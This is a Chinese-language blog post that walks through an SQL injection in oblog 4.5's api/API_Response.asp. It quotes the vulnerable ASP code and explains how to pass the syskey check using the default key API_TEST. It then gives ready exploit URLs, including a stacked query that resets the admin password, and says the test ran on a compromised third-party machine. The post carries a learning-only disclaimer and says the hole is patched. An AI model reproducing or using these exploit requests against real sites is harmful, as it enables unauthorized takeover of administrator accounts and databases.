来源:Ruery's Blog
声明:本文乃提供脚本学习 不是为了让大家去黑更多的站而写 漏洞已修补 网上的已经没有有漏洞的站了
影响版本:oblog4.5 商业SQL (非Final版)
漏洞补丁地址: [url]http://down.oblog.cn/oblog4/patch/Oblog45_Final_Patch0619.rar[/url]
漏洞文件:api/API_Response.asp
打开api/API_Response.asp看开头处
=================省略部分代码============================
if request.querystring("syskey")<>"" then
syskey=lcase(request.querystring("syskey"))
username=oblog.filt_badstr(trim(request("username")))
if chksyskey then
dim truepassword
truepassword = rndpassword(16)
if request.querystring("password")<>"" then
password=trim(request("password"))
cookiedate=trim(request("savecookie"))
if cookiedate="0" or cookiedate="" then cookiedate="1"
oblog.savecookie username,truepassword,cookiedate
oblog.execute ("update oblog_user set truepassword = '"&truepassword&"' where username = '"&username&"' and password = '"&password&"'")
else
call logoutuser()
end if
end if
else
=================省略部分代码============================
很快就可以看到 password没经过任何过滤就进SQL语句了 因为是update语句 所以只适用SQL版 ACC版利用不大
要执行这条语句还必须通过chksyskey这关 我们看看chksyskey是怎么回事 在同文件的稍微下面就能看到chksyskey的代码
'验证提交信息的合法性,目前oblogmd5文件为16位,只能验证提交的位数再判定(考虑新版本增加参数)
function chksyskey()
chksyskey=true
syskey=lcase(syskey)
if len(syskey)=32 then
if mid(syskey,9,16)<>md5(username&oblog_key) then
errmsg=("安全码验证未通过!")
founderr=true
chksyskey=false
end if
elseif len(syskey)=16 then
if syskey<>md5(username&oblog_key) then
errmsg=("安全码验证未通过!")
founderr=true
chksyskey=false
end if
else
errmsg=("安全码不合法!")
founderr=true
chksyskey=false
end if
end function
这里有点小小的问题就是chksyskey貌似已经初始化为true了 以为不用管 不过到最后测试还是失败 所以必须自己构造合适的syskey才能使
chksyskey=true
syskey是直接request过来的 构造也很简单 只要提交的syskey等于 你所提交的用户名+oblog_key的MD5值 chksyskey就等于true 大家要看
明白可能需要一点点ASP的基础喔
syskey的值必须跟提交的用户名相对应喔 oblog_key的值在api/Api_Config.asp里 默认是API_TEST 一般人不会去改他 官方也是 (官方在上次
进去时已经知道不是SQL了,555)
我测试时提交的用户名是hackhua 所以提交的syskey值是hackhuaAPI_TEST的MD5值 就是8092826db0ab2902 你喜欢提交什么用户名都可
以 不需要注册 只要适当的修改MD5就可以了
password随意 savecookie要不就0要不就1都可以 下面开始测试 我用师傅的肉鸡架起OBLOG 地址就隐藏咯
首先提交 [url]http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1'[/url]
返回错误 下面我们把管理ID为1的管理员密码改成123465
提交 [url]http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1';update[/url] oblog_admin set password='7cc9bfe9291ac66b' where id=1--
这样就完成了 拿SHELL就不说了 我没进后台直接把数据库的图截出来 不信拉倒 :) 当时是想等OBLOG4.5SQL版出来再告诉官方的 貌似
马JJ把洞提交给官方换了个SQL版回来 不过也好 让我调试 我只是菜鸟哪错了别骂我哈